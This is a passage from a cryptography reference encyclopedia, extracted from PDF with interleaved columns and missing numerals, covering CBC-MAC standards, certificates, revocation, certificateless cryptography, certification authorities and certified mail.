m = . The best known forgery attack requires texts . FIPS () DES modes of operation. Federal Information
and the best known key recovery attacks have complexities Processing Standards Publication , National Bureau of Stan-
dards, U.S. Department of Commerce/ Springfield
[ , , , ] and [ , , , ].
. FIPS () Computer data authentication. Federal Infor-
mation Processing Standards Publication , National Bureau
of Standards, U.S. Department of Commerce/ Springfield, May
Standardization
CBC-MAC is standardized by several standardization bod- . ISO : Banking approved algorithms for message
ies. The first standards included only simple CBC-MAC [, authentication, Part , DEA. Part , message authentication C
, ]. In , the ANSI retail MAC was added [, ]. The algorithm (MAA) (withdrawn in )
edition of ISO - [] includes simple CBC-MAC, . ISO/IEC : Information technology security tech-
niques message authentication codes (MACs). Part : mech-
EMAC, the ANSI retail MAC and MacDES; there are two
anisms using a block cipher
other schemes that are no longer recommended because of . Iwata T, Kurosawa K () OMAC: one key CBCMAC. In:
the attacks in []; in the next edition, they will be replaced Johansson T (ed) Fast software encryption. LNCS, vol .
by OMAC and by a more efficient variant of EMAC. NIST Springer, pp
has standardized OMAC under the name CMAC []; this . Jaulmes E, Joux A, Valette F () On the security of ran-
domized CBC-MAC beyond the birthday paradox limit: a new
standard is intended for use with AES and triple-DES.
construction. In: Daemen J, Rijmen V (eds) Fast software
GPP-MAC has been standardized by GPP []. encryption. LNCS, vol . Springer, pp
. Joux A, Poupard G, Stern J () New attacks against stan-
dardized MACs. In: Johansson T (ed) Fast software encryption.
Recommended Reading LNCS, vol . Springer, pp
. GPP Specification of the GPP confidentiality and integrity . Knudsen L () Chosen-text attack on CBCMAC. Electron
algorithms. Document : f and f Specification. TS ., Lett ():
June . Knudsen L, Kohno T () Analysis of RMAC. In: Johans-
. ANSI X. (revised) Financial institution message authentica- son T (ed) Fast software encryption. LNCS, vol . Springer,
tion (wholesale) American Bankers Association, April , pp
(st edn ) . Knudsen LR, Mitchell CJ () Analysis of GPP-MAC
. ANSI X. Financial institution retail message authentication. and two-key GPP-MAC. Discrete Appl Math ():
American Bankers Association, August ,
. Bellare M, Kilian J, Rogaway P () The security of cipher . Knudsen LR, Mitchell CJ () Partial key recovery attack
block chaining. J Comput Syst Sci ():. Earlier ver- against RMAC. J Cryptol ():
sion in Desmedt Y (ed) Advances in cryptology, proceedings . Knudsen L, Preneel B () MacDES: MAC algorithm based on
Crypto. LNCS, vol . Springer, , pp DES. Electron Lett ():
. Bellare M, Pietrzak K, Rogaway P () Improved secu- . Minematsu K () How to thwart birthday attacks against
rity analyses for CBC MACs. In: Shoup V (ed) Advances in MACs via small randomness. In: Hong S, Iwata T (eds)
cryptology, proceedings Crypto. LNCS, vol . Springer, Fast software encryption. LNCS, vol . Springer, pp
pp
. Black J, Rogaway P () CBC-MACs for arbitrary length . Mitchell CJ () Key recovery attack on ANSI retail MAC.
messages: the three-key constructions. J Cryptol ():; Electron Lett :
Earlier version in Bellare M (ed) Advances in cryptology, pro- . Nandi M () A unified method for improving PRF bounds
ceedings Crypto . LNCS, vol . Springer, pp for a class of blockcipher based MACs. In: Hong S, Iwata T
. Black J, Rogaway P () A block-cipher mode of operation (eds) Fast software encryption. LNCS, vol . Springer, pp
for parallelizable message authentication. In: Knudsen LR (ed)
Advances in cryptology, proceedings Eurocrypt. LNCS, vol . NIST Special Publication -B () Draft recommenda-
. Springer, pp tion for block cipher modes of operation: the RMAC authenti-
. Brincat K, Mitchell CJ () New CBC-MAC forgery attacks. cation mode, Oct
In: Varadharajan V, Mu Y (eds) Information security and pri- . NIST Special Publication -B () Recommendation for
vacy, ACISP . LNCS, vol . Springer, pp block cipher modes of operation: the CMAC mode for authen-
. Campbell CM Jr () Design and specification of crypto- tication, May
graphic capabilities. In: Branstad DK (ed) Computer security . Petrank E, Rackoff C () CBC MAC for real-time data
and the data encryption standard. NBS Special Publication sources. J Cryptol ():
-, U.S. Department of Commerce, National Bureau of . Pietrzak K () A tight bound for EMAC. In: Bugliesi M, Pre-
Standards, Washington, DC, pp neel B, Sassone V, Wegener I (eds) Automata, languages and
. Coppersmith D, Mitchell CJ () Attacks on MacDES MAC programming, Part II ICALP . LNCS, vol . Springer,
algorithm. Electronics Lett (): pp
. Coppersmith D, Knudsen LR, Mitchell CJ () Key recov- . Preneel B, van Oorschot PC () MDx-MAC and building fast
ery and forgery attacks on the MacDES MAC algorithm. In: MACs from hash functions. In: Coppersmith D (ed) Advances
Bellare M (ed) Advances in cryptology, proceedings Crypto in cryptology, proceedings Crypto. LNCS, vol . Springer,
. LNCS, vol . Springer, pp pp
C CCIT-Code
. Preneel B, van Oorschot PC () A key recovery attack

on the ANSI X. retail MAC. Electron Lett (): Certicate

. Preneel B, van Oorschot PC () On the security of iterated Carlisle Adams
message authentication codes. IEEE Trans Inform Theory IT-
School of Information Technology and Engineering
():
. RIPE Integrity Primitives for Secure Information Systems (SITE), University of Ottawa, Ottawa, Ontario, Canada
(). In: Bosselaers A, Preneel B (eds) Final report of RACE
integrity primitives evaluation (RIPE-RACE ). LNCS,
vol . Springer
Related Concepts
Authorization Architecture; Attribute Certificate;
Authentication; Key Management; Pretty Good Pri-
vacy (PGP); Privacy-Aware Access Control Policies;
Privacy-Preserving Authentication in Wireless Access
CCIT-Code Networks; Public-Key Infrastructure; Security Stan-
dards Activities; X.
Friedrich L. Bauer
Kottgeisering, Germany Denition
A certificate is a data structure that contains information
about an entity (such as a public key and an identity, or a set
Deniton of privileges). This data structure is signed by an authority
CCIT-code is a binary coding of the International for a given domain.
Teletype Alphabet No. . The six control characters of
the teletype machines are: : Void, : Letter Shift, : Background
Word Space, : Figure Shift, : Carriage Return, : Line The concept of a certificate was introduced and discussed
Feed. by Kohnfelder in his Bachelors thesis [] as a way to reduce
the active role of a public authority administering the pub-
lic keys in a large-scale communication system based on
public key cryptography. This concept is now established
as an important part of public-key infrastructure (PKI).
The X. certificate specification that provides the basis
for secure sockets layer (SSL), Secure Multipurpose Inter-
net Mail Extensions (S/MIME), and most modern PKI
implementations is based on the Kohnfelder thesis.
Applications
A certificate is a data structure signed by an entity that
Recommended Reading is considered (by some other collection of entities) to be
. Bauer FL () Decrypted secrets. In: Methods and maxims of authoritative for its contents. The signature on the data
cryptology. Springer, Berlin structure binds the contained information together in such
a way that this information cannot be altered without
detection. Entities that retrieve and use certificates (often
called relying parties) can choose to rely upon the con-
CDH tained information because they can determine whether
the signing authority is a source they trust and because
Computational Diffie-Hellman Problem they can ensure that the information has not been modified
since it was certified by that authority.
The information contained in a certificate depends
upon the purpose for which that certificate was created.
Cellular Network Security The primary types of certificates are public-key certificates
(Public-Key Infrastructure) and attribute certificates,
Worms in Cellular Networks although in principle an authority may certify any kind of
Certicate of Primality C
information []. Public-key certificates typically bind a Markup Language (SAML) V., http://www.oasis- open.org/
public key pair to some representation of an identity for an committees/security/fordetails
. Ellison C, Frantz B, Lampson B, Rivest R, Thomas B, Ylonen T
entity. (The identity is bound explicitly to the public key,
() SPKI certificate theory. Internet Request for Com-
but implicitly to the private key as well. That is, only the ments
public key is actually included in the certificate, but the . Zimmermann P () The official PGP users guide. MIT, Cam-
underlying assumption is that the identified entity is the bridge, MA
(sole) holder of the corresponding private key; otherwise,
relying parties would have no reason to use the certificate
C
to encrypt data for, or verify signatures from, that entity.) In
addition, other relevant information may also be bound to Certicate Management
these two pieces of data such as a validity period, an identi-
fier for the algorithm for which the public key may be used, Carlisle Adams
and any policies or constraints on the use of this certificate. School of Information Technology and Engineering
Attribute certificates typically do not contain a public key, (SITE), University of Ottawa, Ottawa, Ontario, Canada
but bind other information (such as roles, rights, or privi-
leges) to some representation of an identity for an entity.
Public-key certificates are used in protocols or message Related Concepts
exchanges involving authentication of the participating Certificates; Key Management
entities, whereas attribute certificates are used in protocols
or message exchanges involving authorization decisions Denition
(Authorization Architecture) regarding the participating Certificate management is the management of public-key
entities. certificates, covering the complete life cycle from the ini-
Many formats and syntaxes have been defined for both tialization phase, to the issued phase, to the cancellation
public-key certificates and attribute certificates, includ- phase. Key Management for details.
ing X. [], simple public-key infrastructure (SPKI)
[] (Security Standards Activities), Pretty Good Privacy
(PGP) [], and Security Assertion Markup Language
(SAML) [] (Privacy and also Key Management for
Certicate of Primality
a high-level overview of the X. certificate format).
Management protocols have also been specified for the Anton Stiglic
creation, use, and revocation of (typically X.-based) Instant Logic, Canada
public-key certificates.
Synonyms
Recommended Reading Prime certificate
. Kohnfelder L () Towards a practical public-key cryptosystem.
Bachelor of Science thesis, Massachusetts Institute of Technology, Related Concepts
May,
Primality Proving Algorithm; Primality Test; Prime
. Adams C, Farrell S, Kause T, Mononen T () Internet
X. public key infrastructure: certificate management proto- Number
col. Internet Request for Comments
. Adams C, Lloyd S () Understanding PKI: concepts, stan- Denition
dards, and deployment considerations, nd edn. Addison-Wesley, A certificate of primality (or prime certificate) is a small
Reading, MA
set of values associated with an integer that can be used
. Housley R, Polk T () Planning for PKI: best practices guide
for deploying public key infrastructure. Wiley, New York
to efficiently prove that the integer is a prime number.
. Schaad J, Myers M () Certificate Management over CMS Certain primality proving algorithms, such as elliptic
(CMC). Internet Request for Comments curves for primality proving, generate such a certifi-
. ITU-T Recommendation X. () Information technology cate. A certificate of primality can be independently ver-
open systems interconnection the directory: public key and
ified by software other than the one that generated the
attribute certificate frameworks (equivalent to ISO/IEC -
:)
certificate, e.g., when verifying the domain parameters
. OASIS Security Services Technical Committee () in elliptic curve cryptography or DiffieHellman key
Assertions and Protocols for the OASIS Security Assertion agreement.
C Certicate Revocation
also [] for a good discussion of the many options in this

Certicate Revocation area. The X. standard [] contains detailed specifica-
tions for most of the periodic publication mechanisms. For
Carlisle Adams online query mechanisms, see the OCSP [], DPV/DPD
School of Information Technology and Engineering requirements [], and SCVP [] specifications.
(SITE), University of Ottawa, Ottawa, Ontario, Canada
Periodic Publication Mechanisms
Related Concepts A variety of periodic publication mechanisms exist. These
Certificate; Certification Authority; Public Key Cryp- are prepublication techniques, characterized by issu-
tography; Security Standards Activities ing the revocation information on a periodic basis in
the form of a signed data structure. Most of these tech-
Denition niques are based on a data structure referred to as a cer-
Certificate revocation is the process of attempting to ensure tificate revocation list (CRL), defined in the ISO/ITU-T
that a certificate that should no longer be considered X. International Standard. These techniques include
valid is not used by relying parties. Many techniques have CRLs themselves, certification authority revocation lists
been proposed for achieving this in different environments (CARLs), end-entity public-key certificate revocation lists
including simply publishing this information on a publicly (EPRLs), CRL distribution points (CDPs), indirect CRLs,
accessible list and hoping that a relying party will consult delta CRLs and indirect delta CRLs, redirect CRLs, and
this list before using the certificate. certificate revocation trees (CRTs).
CRLs are signed data structures that contain a list of
Applications revoked certificates; the digital signature appended to the
A certificate (Certificate and Certification Authority) is CRL provides the integrity and authenticity of the con-
a binding between a name of an entity and that entitys pub- tained data. The signer of the CRL is typically the same
lic key pair (Public Key Cryptography). Normally, this entity that signed the issued certificates that are revoked by
binding is valid for the full lifetime of the issued certificate. the CRL, but the CRL may instead be signed by an entity
However, circumstances may arise in which an issued cer- other than the certificate issuer.
tificate should no longer be considered valid, even though Version of the CRL data structure defined by
the certificate has not yet expired. In such cases, the cer- ISO/ITU-T (the X.v CRL) contains an extension
tificate may need to be revoked (a process known as cer- mechanism that allows additional information to be
tificate revocation). Reasons for revocation vary, but they defined and placed in the CRL within the scope of the digi-
may involve anything from a change in job status to a sus- tal signature. Lacking this, the version CRL has scalability
pected private-key compromise. Therefore, an efficient and concerns and functionality limitations in many environ-
reliable method must be provided to revoke a public-key ments. Some of the extensions that have been defined and
certificate before it might naturally expire. standardized for the version CRL enable great flexibil-
Certificates must pass a well-established validation ity in the way certificate revocation is performed, making
process before they can be used. Part of that validation possible such techniques as CRL distribution points, indi-
process includes making sure that the certificate under rect CRLs, delta CRLs, and some of the other methods
evaluation has not been revoked. Certification Author- listed above.
ities (CAs) are typically responsible for making revocation The CRL data structure contains a version number
information available in some form or another. Relying (almost universally version in current practice), an iden-
parties (users of a certificate for some express purpose) tifier for the algorithm used to sign the structure, the name
must have a mechanism to either retrieve the revocation of the CRL issuer, a pair of fields indicating the validity
information directly, or rely upon a trusted third party to period of the CRL (this update and next update), the
resolve the question on their behalf. list of revoked certificates, any included extensions, and the
Certificate revocation can be accomplished in a num- signature over all the contents just mentioned. At a min-
ber of ways. One class of methods is to use periodic pub- imum, CRL processing engines are to assume that certifi-
lication mechanisms; another class is to use online query cates on the list have been revoked, even if some extensions
mechanisms to a trusted authority. A number of examples are not understood, and take appropriate action (typically,
of each class will be given in the sections below. A survey of not rely upon the use of such certificates in protocols or
the various revocation techniques can be found in []. See other transactions).
Certicate Revocation C
Extensions in the CRL may be used to modify the CRL Online Query Mechanisms
scope or revocation semantic in some way. In particular, Online query mechanisms differ from periodic publica-
the following techniques have been defined in X.: tion mechanisms in that both the relying party and the
authority with respect to revocation information (i.e., the
CA or some designated alternative) must be online when-
An issuing distribution point extension and/or a CRL
ever a question regarding the revocation status of a given
scope extension may be used to limit the CRL to hold-
certificate needs to be resolved. With periodic publica-
ing only CA certificates (creating a CARL) or only
tion mechanisms, revocation information can be cached
C
end-entity certificates (creating an EPRL).
in the relying partys local environment or stored in some
A CRL distribution point (CDP) extension partitions a
central repository, such as a Lightweight Directory Access
CRL into separate pieces that together cover the entire
Protocol (LDAP) directory. Thus, the relying party may
scope of a single complete CRL. These partitions may
work offline (totally disconnected from the network) at
be based upon size (so that CRLs do not get too large),
the time of certificate validation, consulting only its local
upon revocation reason (this segment is for certificates
cache of revocation information, or may go online only for
that were revoked due to key compromise; that seg-
the purpose of downloading the latest revocation informa-
ment is for revocation due to privilege withdrawn; and
tion from the central repository. As well, the authority may
so on), or upon a number of other criteria.
work offline when creating the latest revocation list and go
The indirect CRL component of the issuing distribu-
online periodically only for the purpose of posting this list
tion point extension can identify a CRL as an indirect
to a public location.
CRL, which enables one CRL to contain revocation
An online query mechanism is a protocol exchange a
information normally supplied from multiple CAs in
pair of messages between a relying party and an author-
separate CRLs. This can reduce the number of overall
ity. The request message must indicate the certificate in
CRLs that need to be retrieved by relying parties when
question, along with any additional information that might
performing the certificate validation process.
be relevant. The response message answers the question
The delta CRL indicator extension, or the base revo-
(if it can be answered) and may provide supplementary
cation information component in the CRL scope
data that could be of use to the relying party. In the
extension, can identify a CRL as a Delta CRL, which
simplest case, the requester asks the most basic question
allows it to contain only incremental revocation infor-
possible for this type of protocol: Has this certificate
mation relative to some base CRL, or relative to a
been revoked? In other words, if I was using a CRL
particular point in time. Thus, this (typically much
instead of this online query mechanism, would this cer-
smaller) CRL must be used in combination with some
tificate appear on the CRL? The response is essentially a
other CRL (which may have been previously cached) in
yes or no answer, although an answer of I dont know
order to convey the complete revocation information
(i.e., unable to determine status) may also be returned.
for a set of certificates. Delta CRLs allow more timely
The Internet Engineering Task Force Public Key Infras-
information with lower bandwidth costs than complete
tructure X. (IETF PKIX) Online Certificate Status
CRLs. Delta CRLs may also be indirect, through the use
Protocol, OCSP (Security Standards Activities) was cre-
of the extension specified above.
ated for exactly this purpose and has been successfully
The CRL scope and status referral extensions may be
deployed in a number of environments worldwide.
used to create a redirect CRL, which allows the flexibil-
However, the online protocol messages can be richer
ity of dynamic partitioning of a CRL (in contrast with
than the exchange described above. For example, the
the static partitioning offered by the CRL distribution
requester may ask not for a simple revocation status, but
point extension).
for a complete validation check on the certificate (i.e., is
the entire certificate path good, according to the rules of a
Finally, a certificate revocation tree is a revocation technol- well-defined path validation procedure). This is known as a
ogy designed to represent revocation information in a very Delegated Path Validation (DPV) exchange. Alternatively,
efficient manner (using significantly fewer bits than a tra- the requester may ask the authority to find a complete path
ditional CRL). It is based on the concept of a Merkle hash from the certificate in question to a specified trust anchor,
tree, which holds a collection of hash values in a tree struc- but not necessarily to do the validation the requester may
ture up to a single root node; this root node is then signed prefer to do this part itself. This is known as a Delegated
for integrity and authenticity purposes. Path Discovery (DPD) exchange. The requirements for a
C Certicate-Based Access Control
general DPV/DPD exchange have been published by the

IETF PKIX Working Group and a general, flexible protocol Certicate-Based Access Control
to satisfy these requirements (the Server-Based Certificate
Validation Protocol, SCVP) has also been published by Trust Management
that group.
Other Revocation Options

It is important to note that there are circumstances in Certicateless Cryptography
which the direct dissemination of revocation information
to the relying party is unnecessary. For example, when cer- Alexander W. Dent
tificates are short lived that is, have a validity period Information Security Group, Royal Holloway, University
that is shorter than the associated need to revoke them of London, Egham, Surrey, UK
then revocation information need not be examined by rely-
ing parties. In such environments, certificates may have a Related Concepts
lifetime of a few minutes or a few hours, and the danger Identity-Based Cryptography; Public Key
of a certificate needing to be revoked before it will natu- Cryptography
rally expire is considered to be minimal. Thus, revocation
information need not be published at all. Denition
Another example environment that can function with- Certificateless cryptography is a type of public-key cryp-
out published revocation information is one in which rely- tography that combines the advantages of traditional
ing parties use only brokered transactions. Many financial PKI-based public-key cryptography and identity-based
institutions operate in this way: online transactions are cryptography. A certificateless scheme is characterized by
always brokered through the consumers bank (the bank two properties: (a) the scheme provides security without
that issued the consumers certificate). The bank main- the need for a public key to be verified via a digital cer-
tains revocation information along with all the other data tificate, and (b) the scheme remains secure against attacks
that pertains to its clients (account numbers, credit rat- made by any third party, including trusted third parties.
ing, and so on). When a transaction occurs, the merchant
must always go to its bank to have the financial transaction Background
authorized; this authorization process includes verifica- Certificateless cryptography was introduced by Al-Riyami
tion that the consumers certificate had not been revoked, and Paterson [] in a paper that presented examples
which is achieved through direct interaction between the of certificateless encryption and certificateless signature
merchants bank and the consumers bank. Thus, the mer- schemes. Since this paper was published, the concept has
chant itself deals only with its own bank (and not with the been applied to many other areas of public-key cryptogra-
consumers bank) and never sees any explicit revocation phy, including key-establishment protocols, authentication
information with respect to the consumers certificate. protocols, signcryption schemes, and specialized forms of
digital signature schemes.
Recommended Reading
. Adams C, Lloyd S () Understanding PKI: concepts, stan- Theory
dards, and deployment considerations, nd edn, Chap .
Traditional PKI-based public-key cryptography provides
Addison-Wesley, Reading, MA
useful functionality but places a computational burden on
for deploying public key infrastructure. Wiley, New York the user of the public key. The public-key user has to verify
. ITU-T Recommendation X. (). Information technol- the correctness of the public key by obtaining and verifying
ogy open systems interconnection the directory: Public a digital certificate for that public key. Identity-based
key and attribute certificate frameworks. (equivalent to ISO/IEC
cryptography removes the need for the public-key user to
:)
. Myers M, Ankney R, Malpani A, Galperin S, Adams C ()
obtain and verify a digital certificate; however, it relies on a
X. Internet public key infrastructure: online certificate status trusted key generation center to provide a private key to a
protocol OCSP. Internet Request for Comments user. This means that the trusted key generation center has
. Pinkas D, Housley R () Delegated path validation and dele- the same power as the private-key user and must be trusted
gated path discovery protocol requirements. Internet Request for
not to abuse this power.
Comments
. Freeman T, Housley R, Malpani A, Cooper D, Polk W ()
In a certificateless scheme, the public-key user should
Server-based certificate validation protocol (SCVP). Internet not be required to obtain and verify a digital signature (as
Request for Comments in traditional PKI-based public-key cryptography) and the
Certication Authority C
private-key user should not have to delegate its power to concept, has suggested that certificateless signatures have
a trusted third party (as in identity-based cryptography). limited practical use as a signature could always contain
This is achieved by having two public/private key-pairs: a digital certificate for the signers public key. Hence, cer-
tificateless signatures provide no more functionality than
A traditional public/private key-pair generated by
a simple PKI system. A similar argument holds for cer-
the private key user. This private key is sometimes
tificateless encryption systems that force the receiver to
called a secret value in the context of certificateless
interact with the trusted authority before publishing their
cryptography.
public key.
C
An identity-based key-pair consisting of the private-
However, there are potentially some applications for
key users identity and the associated identity-based
certificateless encryption schemes that allow a user to pub-
private key. This private key is called a partial private
lish their public key before obtaining their partial private
key in the context of certificateless cryptography.
key. This functionality cannot be obtained using a PKI and
The public-key user makes use of both the traditional pub- research has shown that this allows the construction of
lic key and the users identity. The private-key user makes cryptographic workflow systems. Nonetheless, there have
use of both the secret value and the partial private key. been limited applications of certificateless cryptography in
For example, in a certificateless encryption scheme, practice.
the sender encrypts the message using the receivers pub-
lic key and identity. The sender is assured that no one but Open Problems and Future Directions
the intended receiver can decrypt the message since only Open problems include the development of schemes that
the intended receiver knows both the secret value and the can provide the highest level of security against both Type I
partial private key required to decrypt the ciphertext. and Type II attackers, and the development of more effi-
One major problem with certificateless cryptography cient schemes with practical applications.
has been in the development of security models for the
concept. The difficulties arise because any security model Recommended Reading
needs to take into account the fact that a malicious attacker . Paterson KG, Al-Riyami SS () Certificates public-key
could deceive a public-key user into using a false public key cryptography. Advances in cryptology Asiacrypt . Lec-
(as there are no digital certificates to give assurance of a ture notes in computer science, vol . Springer, Berlin,
public keys validity). A security model for a certificateless pp
. Dent AW () A survey of certificateless encryption schemes
scheme needs to consider two types of attackers:
and security models. Inth J Inform Secur ():
A third-party attacker (i.e., an attacker other than the
key generation center). This attacker can replace the
public keys of other users and may be able to learn par-
tial private-key values for some identities (as long as Certication Authority
this does not allow the scheme to be trivially broken).
The key generation center. The key generation center Carlisle Adams , Russ Housley , Sean Turner
can generate the partial private key for any user. This
gives a malicious key generation center the obvious (SITE), University of Ottawa, Ottawa, Ontario, Canada
(and successful) attack strategy of replacing the public
Vigil Security, LLC, Herndon, VA, USA
key of the user with a public key that the key generation
IECA, Inc., Fairfax, VA, USA
center has generated itself. The scheme should resist
all other attacks made by a malicious key generation
center. Synonyms
These are known as Type I and Type II attackers, respec- Trust anchor
tively. A vast number of security models have been
proposed for certificateless encryption and certificateless Related Concepts
signature schemes. A survey of certificateless encryption Certification Practice Statement
security models has been published by Dent [].
Denition
Applications A CA is often called a certificate authority in the pop-
There are questions as to whether certificateless cryptog- ular press and other literature, but this term is generally
raphy is practical. Paterson, one of the coinventors of the discouraged by PKI experts and practitioners because it is
C Certication Authority
somewhat misleading: a CA is not an authority on certifi- For users to maintain their trust in certificates, CAs
cates as much as it is an authority on the process and act must accurately maintain information on the status of
of certification. Thus, the term certification authority is certificates they issue. Of primary concern, is the list of
preferred. certificates that should no longer be trusted, which is
called a certificate revocation list (CRL). Errors of omission
may cause a user to accept an untrustworthy certificate,
Background resulting in a loss of security. Listing trustworthy cer-
A certification authority (CA) is the central building block tificates, or incorrect revocation dates, may cause a user
of a public-key infrastructure (PKI). It is a collection of to reject a trustworthy certificate, resulting in denial of
computer hardware and software as well as the people who service.
operate it. The CA performs four basic PKI functions: issu- A CA is only useful if the certificates and CRLs that it
ing certificates, maintaining and issuing certificate status generates are available to the users. If Alice and Bob cannot
information, publishing certificates and certificate status obtain the certificates and CRLs they need, they will not
information, and maintaining archives of state information be able to implement the security services they want (e.g.,
on expired and revoked certificates that it issued. data integrity, data authentication, and confidentiality). Of
The primary function of a CA is to act as an authority course, Alice and Bob can always exchange their own per-
that is trusted by some segment of a population or personal certificates and their CRLs. However, each may need
haps by the entire population to validly perform the task additional CA certificates to establish a certification path.
of binding public-key pairs to identities. The CA certifies a The CA must distribute its certificates and CRLs. This is
key pair/identity binding by digitally signing (digital sig- often accomplished by posting them in a publicly available
nature scheme) a data structure that contains some repre- repository.
sentation of the identity of an entity (identification) and When a CA serves an unrestricted user community,
the entitys corresponding public key. This data structure is distribution of certificates and CRLs is all about availabil-
called a public-key certificate (or simply a certificate, ity and performance, not security. There is no requirement
when this terminology will not be confused with other to restrict access to certificates and CRLs, since they need
types of certificates, such as attribute certificates). When not be secret. An attacker could deny service to Alice and
the CA certifies the binding, it is asserting that the sub- Bob by deleting or modifying information, but the attacker
ject (the entity named in the certificate) has access to the cannot make them trust the altered information without
private key that corresponds to the public key contained obtaining the CAs private key.
in the certificate. If the CA includes additional informa- A CA may restrict its services to a closed population,
tion in the certificate, the CA is asserting that information such as a particular community. In this case, the CA may
corresponds to the subject as well. This additional infor- wish to deny attackers access to the certificates. To achieve
mation might be an email address or policy information. these goals, the CA may wish to secure the distribution
When the subject of the certificate is another CA, the issuer of certificates and CRLs. The integrity of the certificates
is asserting that the certificates issued by the other CA are and CRLs is not at risk, but the CA may not wish to
trustworthy. disclose the information they contain. For example, if a
The CA inserts its name in every certificate that it gen- companys certificates implicitly identify its R&D person-
erates, and signs them with its private key. Once users nel, this information could be exploited by a competitor.
establish that they trust a CA (how this trust is established The competitor could determine the types of R&D by their
varies based on the Trust Model), users can trust other backgrounds or simply try to hire the personnel.
certificates issued by that CA. Users can easily identify Finally, the CA needs to maintain information to iden-
certificates issued by that CA by comparing its name. To tify the signer of an old document based on an expired
ensure that the certificate is genuine, users verify the sig- certificate. To support this goal, the archive must identify
nature with the CAs public key. To maintain this trust, the the actual subject named in a certificate, establish that they
CA must take significant measures to protect its private key requested the certificate, and show that the certificate was
from disclosure; otherwise, an attacker could generate cer- valid at the time the document was signed. The archive
tificates tricking users in to trusting them as if the CA itself must also include any information regarding the revoca-
generated them. Typically, CAs store their private keys tion of this certificate. The CA must maintain sufficient
in FIPS -- or FIPS --validated cryptographic archival information to establish the validity of certificates
modules. after they have expired.
Certied Mail C
CAs are well suited to the generation of archive infor- The roles and duties of a CA have been specified
mation, but not to its maintenance. A CA can create a in a number of contexts [], along with protocols for
detailed audit trail, with sufficient information to describe various entities to communicate with the CA. As one
why it generated a certificate or revoked it. This is a example, the IETF PKIX Working Group (security stan-
common attribute of computer-based systems. However, dards activities) has several standards-track specifications
maintaining that information for long periods of time is that are relevant to a CA operating in the context of
not a common function. an Internet PKI; see http://www.ietf.org/html.charters/
CA functions are detailed in a certificate policy (CP) pkix-charter.html for details.
C
[] and certification practice statement (CPS). The CP tells
what the CA is expected to do, and the CPS tells how Experimental Results
these expectations will be met. The CP and CPS also detail Certification Authorities have been successfully deployed
restrictions to protect the integrity of the CA components. in business, governmental, and academic environments
The restrictions may include physical restrictions, logical and are used to instantiate large and small public-key
restrictions, or procedural restrictions. Physical restric- infrastructures worldwide.
tion might require locked and guarded rooms or keycard
access. Logical restrictions might require network fire- Recommended Reading
walls. Procedural restrictions might require two CA staff . Chokhani S, Ford W, Sabett R, Merrill C, Wu S () Inter-
members to modify the system or prevent system operators net X. public key infrastructure: certificate policy and cer-
from approving the audit logs. tification practices framework. Internet Request for Comments
In addition to the four basic functions, the CA may
. Adams C, Farrell S, Kause T, Mononen T () Internet X.
also generate key pairs for entities upon request; and it
public key infrastructure: certificate management protocols.
may store these keys to provide a key backup and recovery Internet Request for Comments
service. Storing private keys is often called key escrow. . Adams C, Lloyd S () Understanding PKI: concepts, stan-
Sometimes a CA delegates some of its responsibili- dards, and deployment considerations, nd edn. Addison-Wesley,
ties. An entity that verifies certificate contents, especially Reading
confirming the identity of the user, is called a registra-
for deploying public key infrastructure. John, New York
tion authority (RA). An RA may also assume some of . ITU-T Recommendation X. () Information technology
the responsibilities for certificate revocation decisions. An open systems interconnection the directory: public key and
entity that distributes certificates and CRLs is called a attribute certificate frameworks (equivalent to ISO/IEC -
repository. A repository may be designed to maximize :)
. Myers M, Schaad J () Certificate management messages over
performance and availability. The entity that provides long-
CMS. Internet Request for Comments
term secure storage for the archival information is called
an archive. An archive does not require the performance
of a repository, but must be designed for secure stor-
age. In addition to RAs, repositories, and archives, there
are single-purpose entities such as key generation servers Certied Mail
whose sole purpose is to generate keys; naming author-
ities whose sole purpose is to prevent name collisions; Matthias Schunter
backup and recovery servers who maintain copies of pri- IBM Research-Zurich, Rschlikon, Switzerland
vate keys in case they become unavailable; and revocation
status providers such as online certificate status proto-
col (OCSP) or server-based certificate validation protocol Synonyms
(SCVP) who provide information on that certificates status Nonrepudiation protocol
(e.g., valid).
A CA is not restricted to a single RA, repository, or Related Concepts
archive. In practice, a CA is likely to have multiple RAs; dif- Contract Signing; Fair Exchange
ferent entities may be needed for different groups of users.
Repositories are often duplicated to maximize availability, Denition
increase performance, and add redundancy. There is no Certified mail is the fair exchange of secret data for a
requirement for multiple archives. receipt for this data.
C Certied Mail
sender: TTP ... TTP recipient:

S T1 Tn R
origin transport transport receipt

submission delivery
Certied Mail. Fig. Framework for certied mail []: players and their actions
Sender S TTP Recipient R
signs(Ek(m))
signR(Ek(m))
signT (k) signT (k)
Certied Mail. Fig. Sketch of the protocol proposed in [] (E denotes symmetric encryption)
Background fair exchange with inline TTP was done in []. Opti-
Like fair exchange and contract signing protocols, early mistic protocols have been proposed in [, ]. A later
research focused on two-party protocols [, ] fairly gen- example of a protocol using an in-line TTP is the pro-
erating nonrepudiation of receipt tokens in exchange for tocol proposed in []. The basic idea is that the parties
the message. first exchange signatures under the encrypted message.
Then, the third party signs and distributes the key. The
signature on the encrypted message together with the sig-
Theory natures on the key then forms the nonrepudiation of origin
Certified mail is the most mature instance of fair exchange and receipt tokens. The protocol is sketched in Fig. .
that has been standardized in []: the players in a certi-
fied mail system are at least one sender S and one receiver
Recommended Reading
R. Depending on the protocols used and the service pro-
. Asokan N, Shoup V, Waidner M () Asynchronous protocols
vided, the protocol may involve one or more trusted for optimistic fair exchange. IEEE Symposium on Research
third parties (TTPs) T. If reliable time stamping is desired, in Security and Privacy. IEEE Computer Society Press, Los Alami-
additional time-stamping authorities TS may be involved tos, pp
too. For evaluating the evidence produced, a verifier V . Bao F, Deng R, Mao W () Efficient and practical fair exchange
protocols with off-line TTP. IEEE Symposium on Research
can be invoked after completion of the protocol. Sending
in Security and Privacy. IEEE Computer Society Press, Los Alami-
a certified mail includes several actions []. Each of these tos, pp
actions may be disputable, i.e., may later be disputed at a . Blum M () Three applications of the oblivious transfer, Ver-
verifier, such as a court (see Fig. ): a sender composes a sion . Department of Electrical Engineering and Computer
signed message (nonrepudiation of origin) and sends it Sciences, University of California at Berkeley, Berkley, CA
. ISO/IEC () Information technology security techniques
to the first TTP (nonrepudiation of submission). The first
nonrepudiation. Part : general. ISO/IEC International Standart
TTP may send it to additional TTPs (nonrepudiation of - (st edn)
transport) and finally to the recipient (nonrepudiation of . Rabin MO () Transaction protection by beacons. Techni-
delivery, which is a special case of nonrepudiation of trans- cal Report TR--, Aiken Computation Laboratory, Harvard
port). The recipient receives the message (nonrepudiation University, Cambridge, MA
. Rabin MO () Transaction protection by beacons. J Comput
of receipt).
Syst Sci :
